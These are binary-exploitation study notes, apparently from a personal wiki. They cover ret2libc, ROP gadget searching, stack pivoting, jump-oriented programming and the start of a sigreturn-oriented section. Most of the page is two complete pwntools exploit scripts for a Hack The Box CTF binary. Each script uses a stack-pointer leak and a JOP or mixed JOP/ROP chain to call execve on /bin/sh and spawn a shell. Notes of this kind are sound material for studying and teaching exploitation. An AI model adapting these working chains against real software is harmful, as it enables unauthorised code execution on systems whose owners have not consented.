Ret2Libc
Ret2libc¶
When the stack is not executable running executable code can be done though the shared libraries.
https://shellblade.net/files/docs/ret2libc.pdf
Finding functions to call in libs:
readelf -a /usr/lib32/libc.so.6 | grep system
251: 001265e0 102 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0
640: 0003c7d0 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1485: 0003c7d0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
565: 00000000 0 FILE LOCAL DEFAULT ABS system.c
566: 0003c2b0 1086 FUNC LOCAL DEFAULT 13 do_system
4988: 001265e0 102 FUNC LOCAL DEFAULT 13 __GI_svcerr_systemerr
6919: 0003c7d0 55 FUNC WEAK DEFAULT 13 system
7539: 001265e0 102 FUNC GLOBAL DEFAULT 13 svcerr_systemerr
7602: 0003c7d0 55 FUNC GLOBAL DEFAULT 13 __libc_system
Finding offsets of strings:
strings -t x /usr/lib32/libc.so.6 | grep /bin/sh
17888a /bin/sh
Return Oriented Programing (ROP)¶
Uses Gadgets of minimal ASM followed by a return to hop to the next gadget.
Ropper
Quick RCE with ROP
Search your gadgets on your binaries to facilitate your ROP exploitation. ROPgadget supports ELF, PE and Mach-O format on x86, x64, ARM, ARM64, PowerPC, SPARC and MIPS architectures.
One Search gadget¶
Find Shell in Glibc:
>>> one_gadget /usr/lib/libc.so.6
0xcd7aa execve("/bin/sh", r12, r13)
constraints:
[r12] == NULL || r12 == NULL
[r13] == NULL || r13 == NULL
0xcd7ad execve("/bin/sh", r12, rdx)
constraints:
[r12] == NULL || r12 == NULL
[rdx] == NULL || rdx == NULL
0xcd7b0 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
Rop Searcher with r2¶
>>> r2 `which exa`
[0x0000c100]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x0000c100]> /Rl call rdx
0x00110588 55 push rbp
0x00110589 ebf0 jmp 0x11057b
0x0011058b ff4cecf0 dec dword [rsp + rbp*8 - 0x10]
0x0011058f ffd2 call rdx
0x0011058a f0ff4cecf0 lock dec dword [rsp + rbp*8 - 0x10]
0x0011058f ffd2 call rdx
0x00110710 b835f1ff8e mov eax, 0x8efff135
0x00110715 31f1 xor ecx, esi
0x00110717 ffd2 call rdx
r2 Source
Sample ROP Gadgets to look for:
- /R/ pop [re][abcds][ix]
(Put something into a register from the stack)
- /R/ xchg [re]sp
(Exchange something on the stack with a register)
- /R/ mov \[[reabcsix]+\]>, [reabcsix]+
(Arbitrary write from second address to first address)
Stack Pivoting¶
This is used when you do not control enough of the stack or when you cant overwrite things on the stack.
Finding a Stack Pivot Gadget:
[0x0000c100]> /Rl pop rsp
0x0010f98d 5c pop rsp
0x0010f98e 415d pop r13
0x0010f990 415e pop r14
0x0010f992 415f pop r15
0x0010f994 c3 ret
Jump Oriented Programing (JOP)¶
This was taken from the No Return challenge
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template 2020_04.bin
from pwn import *
from pwnlib.util.cyclic import cyclic_metasploit, cyclic_metasploit_find
import struct
# Set up pwntools for the correct architecture
exe = context.binary = ELF('2020_04.bin')
# Set up pwntools for the correct architecture
context.terminal = ['urxvt', '-e', 'zsh', '-c']
def setupGadgets():
gadget_list = []
#######################################################################################
# 2nd JOP Gadget: Jump to Gadget in Base Pointer with offset
# 0x000000000040103c: add rbp, rbx; wait; jmp qword ptr [rbp - 0x39];
#######################################################################################
gadget_list.append(p64(0x000000000040103c))
#######################################################################################
# 3rd JOP Gadget: Copy the Current stack pointer into RCX. This contains the
# 0x000000000040101c: mov rcx, rsp; std; jmp qword ptr [rdx];
#######################################################################################
gadget_list.append(p64(0x000000000040101c))
#######################################################################################
# 4rd JOP Gadget: Swap the RBP Gadget in RDI to RCX. Swap the exec string to RDI
# 0x0000000000401067: xchg rdi, rcx; std; jmp qword ptr [rdx];
#######################################################################################
gadget_list.append(p64(0x0000000000401067))
#######################################################################################
# 5th JOP Gadget: Set the RCX register to the exec string.
# While the value is not needed it increases the stack pointer.
# The RBP Gadget in RDX is copyed backover to RCX.
# The syscall number will be inserted into RDX. (Will be swapped with RAX)
# 0x000000000040104c: pop rcx; mov rcx, rdx; pop rdx; jmp qword ptr [rcx];
#######################################################################################
gadget_list.append(p64(0x000000000040104c))
#######################################################################################
# 6th JOP Gadget: Move the 0x00 in RAX to RDX and move the syscall number from RDX to RAX
# 0x000000000040105a: xchg rax, rdx; fdivp st(1); jmp qword ptr [rcx];
#######################################################################################
gadget_list.append(p64(0x000000000040105a))
#######################################################################################
# 7th JOP Gadget: Everything is setup now lets call syscall
# 0x0000000000401082: syscall;
#######################################################################################
gadget_list.append(p64(0x0000000000401082))
return b"".join(reversed(gadget_list))
host = args.HOST or 'docker.hackthebox.eu'
port = int(args.PORT or 30544)
def local(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return local(argv, *a, **kw)
else:
return remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
break *0x{exe.entry:x}
break *0x0401000
#continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: No RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
#Set the process with the /bin/sh argument. This makes it easy to set the argv pointer
io = start(['/bin/sh'])
### Get the offset to be used for the padding
#testinput = cyclic_metasploit(200)
### Get the padding length from a previous crash
pad_len = cyclic_metasploit_find(b"8Af9")
print(f"Padding Length: {pad_len}")
### Read the leak for a pointer to the stack
inital_stack_pointer = u64(io.recv(8))
print(f"Stack Pointer: {hex(inital_stack_pointer)}")
# Do some pointer calculation
#Get argv[1] which is a pointer to a pointer of /bin/sh
args_pointer = inital_stack_pointer + (0x08 * 2)
#Get the enviroment pointer
env_pointer = inital_stack_pointer + (0x08 * 3)
payload_start = (inital_stack_pointer - (pad_len + 0x8))
print(f"Payload Start: {hex(payload_start)}")
#############################
# Registers to set
# rax = 59 or 0x3b
# rdi = "/bin/sh\x00" (const char *filename)
# rsi = 0x00 or a pointer to a list of args (const char *const argv[])
# rdx = 0x00 or a pointer to a list of env varables (const char *const envp[])
#
# The call syscall
#############################
#############################
# Start of JOP
#############################
#######################################################################################
# 1st JOP Gadget: Stack Piviot and pop varables into registers
#######################################################################################
jop_payload = b""
#0x0000000000401000: pop rsp; pop rdi; pop rsi; pop rbp; pop rdx; pop rcx; pop rbx; xor rax, rax; jmp qword ptr [rdi + 1];
jop_payload += p64(0x0000000000401000)
# pop rsp
# Set the stack pointer to the begining of the Stack Payload
jop_payload += p64(payload_start)
# pop rdi
# RDI will contain a pointer to a gadget on the gadget list. This is on the stack and can be calculated.
#######################################################################################
# 2nd JOP Gadget: Jump to Gadget in Base Pointer with offset
# 0x000000000040103c: add rbp, rbx; wait; jmp qword ptr [rbp - 0x39];
#######################################################################################
stack_payload = p64(inital_stack_pointer - (0x8 * 2) - 1)
# pop rsi
# Set the arguments to the pointer calulated from the leak
#stack_payload += p64(args_pointer)
stack_payload += p64(0x00)
# pop rbp
# Set RBP + 0x39 to point to the gadget table. This makes it when the add happens it goes to the next gadget
# Set this to 0x39 less than the gadget list
set_rbp = (inital_stack_pointer - (0x8 *2)) + 0x39
stack_payload += p64(set_rbp)
print(f"RBP Target: {hex((inital_stack_pointer - (0x8 *2)))}")
# pop rdx
# RDX will the Second Gadget The RBP gadget
stack_payload += p64(inital_stack_pointer - (0x8 * 2))
# pop rcx
# RCX will be pointer to
stack_payload += p64(0x00)
# pop rbx
# This is padding for the data to be loaded into rbx
stack_payload += p64(-0x8, sign="signed")
# This is the place the RSP will be pointing to when the 3rd JOP gadget is executed
# This is also where the pop rcx is done but then imedetly overwitten
stack_payload += b"/bin/sh\x00"
# pop rdx
# This is the syscall number and will be swapped with rax
stack_payload += p64(59)
#Set up the Gadget list
gadget_list = setupGadgets()
#Setup payload structure
payload = fit({
0: stack_payload,
pad_len - len(gadget_list): gadget_list,
pad_len: jop_payload
})
io.send(payload)
print(util.fiddling.hexdump(payload, groupsize=16))
io.interactive()
Mixed JOP and ROP¶
This was also taken from the No Return Challenge.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template 2020_04.bin
from pwn import *
from pwnlib.util.cyclic import cyclic_metasploit, cyclic_metasploit_find
import struct
# Set up pwntools for the correct architecture
exe = context.binary = ELF('2020_04.bin')
# Set up pwntools for the correct architecture
context.terminal = ['urxvt', '-e', 'zsh', '-c']
def setupGadgets():
gadget_list = []
#Second Gadget
#0x0000000000401067: xchg rdi, rcx; std; jmp qword ptr [rdx];
gadget_list.append(p64(0x0000000000401067))
#Third Gadget
#0x0000000000401062: ret;
gadget_list.append(p64(0x0000000000401062))
return b"".join(reversed(gadget_list))
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
#tbreak *0x{exe.entry:x}
tbreak *0x0401000
#continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: No RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
#Set the process with the /bin/sh argument. This makes it easy to set the argv pointer
io = start(['/bin/sh', ""])
### Get the offset to be used for the padding
#testinput = cyclic_metasploit(200)
### Get the padding length from a previous crash
pad_len = cyclic_metasploit_find(b"8Af9")
print(f"Padding Length: {pad_len}")
### Read the leak for a pointer to the stack
inital_stack_pointer = struct.unpack('q', io.recv(8))[0]
print(f"Stack Pointer: {hex(inital_stack_pointer)}")
# Do some pointer calculation
#Get argv[1] which is a pointer to a pointer of /bin/sh
args_pointer = inital_stack_pointer + 0x08 * 2
#Get the enviroment pointer
env_pointer = inital_stack_pointer + 0x08 * 3
payload_start = (inital_stack_pointer - pad_len - 0x8)
print(f"Payload Start: {hex(payload_start)}")
#############################
# Registers to set
# rax = 59 or 0x3b
# rdi = "/bin/sh\x00" (const char *filename)
# rsi = 0x00 or a pointer to a list of args (const char *const argv[])
# rdx = 0x00 or a pointer to a list of env varables (const char *const envp[])
#
# The call syscall
#############################
#############################
# Start of JOP
#############################
#######################################################################################
# 1st JOP Gadget: Stack Piviot and pop varables into registers
#######################################################################################
jop_payload = b""
#0x0000000000401000: pop rsp; pop rdi; pop rsi; pop rbp; pop rdx; pop rcx; pop rbx; xor rax, rax; jmp qword ptr [rdi + 1];
jop_payload += p64(0x0000000000401000)
# pop rsp
# Set the stack pointer to the begining of the Stack Payload
# -0xB8
jop_payload += p64(payload_start)
# pop rdi
# RDI will contain a pointer to a gadget on the gadget list. This is on the stack and can be calculated.
#######################################################################################
# 2nd JOP Gadget: Exchange rdi and rcx to set the rdi varable to the executable to run
# 0x0000000000401067: xchg rdi, rcx; std; jmp qword ptr [rdx];
#######################################################################################
stack_payload = p64(inital_stack_pointer - (0x8)*2 - 1)
# pop rsi
# Set the arguments to the pointer calulated from the leak
#stack_payload += p64(args_pointer)
stack_payload += p64(0x00)
# pop rbp
# The RBP is not needed just filled with padding
stack_payload += b"BPBPBPBP"
# pop rdx
# RDX will contain a pointer to a gadget on the gadget list. This is on the stack and can be calculated.
#######################################################################################
# 3rd JOP Gadget: The Ret instruction lets us change from JOP to ROP
# 0x0000000000401062: ret;
#######################################################################################
stack_payload += p64(inital_stack_pointer - (0x8)*3)
# pop rcx
# Since RCX will be swapped with RDI in the Second Gadget this will contain a pointer to the executable string.
# This string is at the end of the payload and can only be calculated after knowing the length of the payload
stack_payload += p64(inital_stack_pointer - 0x58)
# pop rbx
# This is padding for the data to be loaded into rbx
stack_payload += b"BXBXBXBX"
# Because the RCX Register has ret gadget it is possoble to make this a ROP chain
# The limiting factor is that all of the Gadgets must end with jmp qword ptr [rcx];
# This makes it so that the next instruction can be poped off the stack and executed.
# This works since the ret JOP gadget is loaded in to the RCX register
#######################################################################################
# 1st ROP Gadget: Lets copy the ret gadget into RCX and set RDX to be switched into RAX
# 0x000000000040104d: mov rcx, rdx; pop rdx; jmp qword ptr [rcx];
#######################################################################################
stack_payload += p64(0x000000000040104d)
#POP RDX to be put into RAX
stack_payload += p64(59)
#######################################################################################
# 2nd ROP Gadget: Lets set RAX by swaping with RDX
# 0x000000000040105a: xchg rax, rdx; fdivp st(1); jmp qword ptr [rcx];
#######################################################################################
stack_payload += p64(0x000000000040105a)
#######################################################################################
# 3nd ROP Gadget: Lets set RDX
# 0x0000000000401050: pop rdx; jmp qword ptr [rcx];
#######################################################################################
stack_payload += p64(0x0000000000401050)
# pop RDX
# This is the enviroment pointer
#stack_payload += p64(env_pointer)
stack_payload += p64(0x00)
#######################################################################################
# 4nd ROP Gadget: Everything is setup lets execute the syscall
# 0x0000000000401082: syscall;
#######################################################################################
stack_payload += p64(0x0000000000401082)
#Here is the shell varable at the offset -0x58
stack_payload += b"/bin/sh\x00"
#Set up the Gadget list
gadget_list = setupGadgets()
#Setup payload structure
payload = fit({
0: stack_payload,
pad_len - len(gadget_list): gadget_list,
pad_len: jop_payload
})
io.send(payload)
#print(util.fiddling.hexdump(payload, groupsize=16))
io.interactive()
Sigreturn-oriented programming¶
When a signal occurs, the kernel "pauses" the process's execution in order to jump to a signal handler routine. In order to safely resume the execution after the handler, the context of that process is pushed/saved on the stack (registers, flags, instruction pointer, stack pointer etc). When the handler is finished, sigreturn() is being called which will restore the context of the process by popping the values off of the stack. This can modify all registers in an cpu including stack pointer, instruction pointers and others
If the attacker can write values on to the stack they can forge a sigcontext structure